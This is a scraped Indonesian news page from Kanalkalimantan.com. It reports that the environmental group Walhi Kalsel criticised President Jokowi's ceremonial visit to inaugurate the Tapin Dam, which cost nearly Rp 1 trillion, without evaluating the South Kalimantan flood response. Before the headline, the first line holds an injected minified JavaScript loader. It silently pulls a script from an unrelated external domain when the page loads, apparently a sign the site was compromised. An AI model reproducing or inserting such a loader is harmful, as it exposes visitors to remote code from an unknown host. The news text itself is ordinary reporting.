(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Singgung Penanganan Banjir Kalsel, Walhi Kritik Kunjungan Seremonial Jokowi


KANALKALIMANTAN.COM, BANJARBARU– Kedatangan Presiden Jokowi ke Kabupaten Tapin, Kalimantan Selatan (Kalsel) untuk meresmikan Bendungan Tapin, mendapat sorotan dari Wahana Lingkungan Hidup (Walhi) Kalsel. Hal ini lantaran pada kunjungan yang berlangsung singkat tersebut Jokowi tak menyinggung soal evaluasi penanganan Banjir Kalsel beberapa waktu lalu.

Direktur Eksekutif Walhi Kalsel Kisworo Dwi Cahyono mengatakan, mestinya kedatangan Jokowi tak sekadar seremoni peresmian Bendungan Tapin.

Apalagi biayanya yang hampir Rp 1 triliun dan pengorbanan 2 desa untuk bendungan dan masih suasana penanganan banjir Kalsel,” katanya dalam rilis yang disampaikan ke Kanalkalimantan.com, Kamis (18/2/2021).
Mestinya, Jokowi juga menyempatkan melakukan evaluasi dan pembahasan serius terkait kondisi lingkungan Kalsel.

Berikut beberapa hal yang menjadi catatan Walhi Kalsel:
1. Mengevaluasi dan memastikan penanganan banjir di Kalsel sudah sejauh mana hasilnya.

2. Mengadakan dialog terbuka di hadapan rakyat Kalsel terkait penanganan banjir dan karhutla di Kalsel dan mengundang pemilik industri Ekstraktif Tambang, sawit, HTI dan HPH. Agar banjir dan Karhutla tidak terulang terus terjadi di Kalsel.

3. Memastikan ruang hidup dan kehidupan masyarakat desa yang ditenggelamkan untuk bendungan itu terjamin dan dijamin oleh Pemerintah. Tidak hanya sekedar dapat ganti rugi, tapi juga harus berkeadilan. Jangan sampai kesalahan Bendungan Riam Kanan terulang lagi.

4. Transparansi penggunaan Dana Bendungan yang hampir Rp 1 triliun, jangan sampai ada indikasi korupsi.

5. Memastikan Bendungan Tapin benar benar aman, bermanfaat, dan tidak mubazir apalagi posisi Bendungan Tapin juga berdekatan dengan konsesi PT. AGM
Sebelumnya, Jokowi meresmikan sekaligus meninjau Bendungan Tapin yang berlokasi di Desa Pipitak Jaya, Kabupaten Tapin.

Jokowi mengungkapkan bahwa bendungan Tapin dibangun sejak 2015 hingga 2021 itu menghabiskan anggaran sebesar Rp 986 miliar.

Bendungan Tapin memiliki kapasitas 56,7 juta meter kubik air yang berperan sangat penting dalam pengendalian banjir, ketahanan pangan karena bisa menyediakan irigasi seluas 5.472 hektare menyediakan air baku 0,50 meter kubik per detik, dan dapat menghasilkan tenaga listrik sebesar 3,3 mega watt.

“Dengan adanya Bendungan Tapin banjir bisa berkurang sangat drastis,” ucap Jokowi.
Setelah usai acara, Jokowi bersama rombongan pun langsung kembali menuju Jakarta. (kanalkalimantan.com/nadila)

 

Reporter : Nadila
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

13 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

15 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

19 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

21 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

21 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

22 jam ago

This website uses cookies.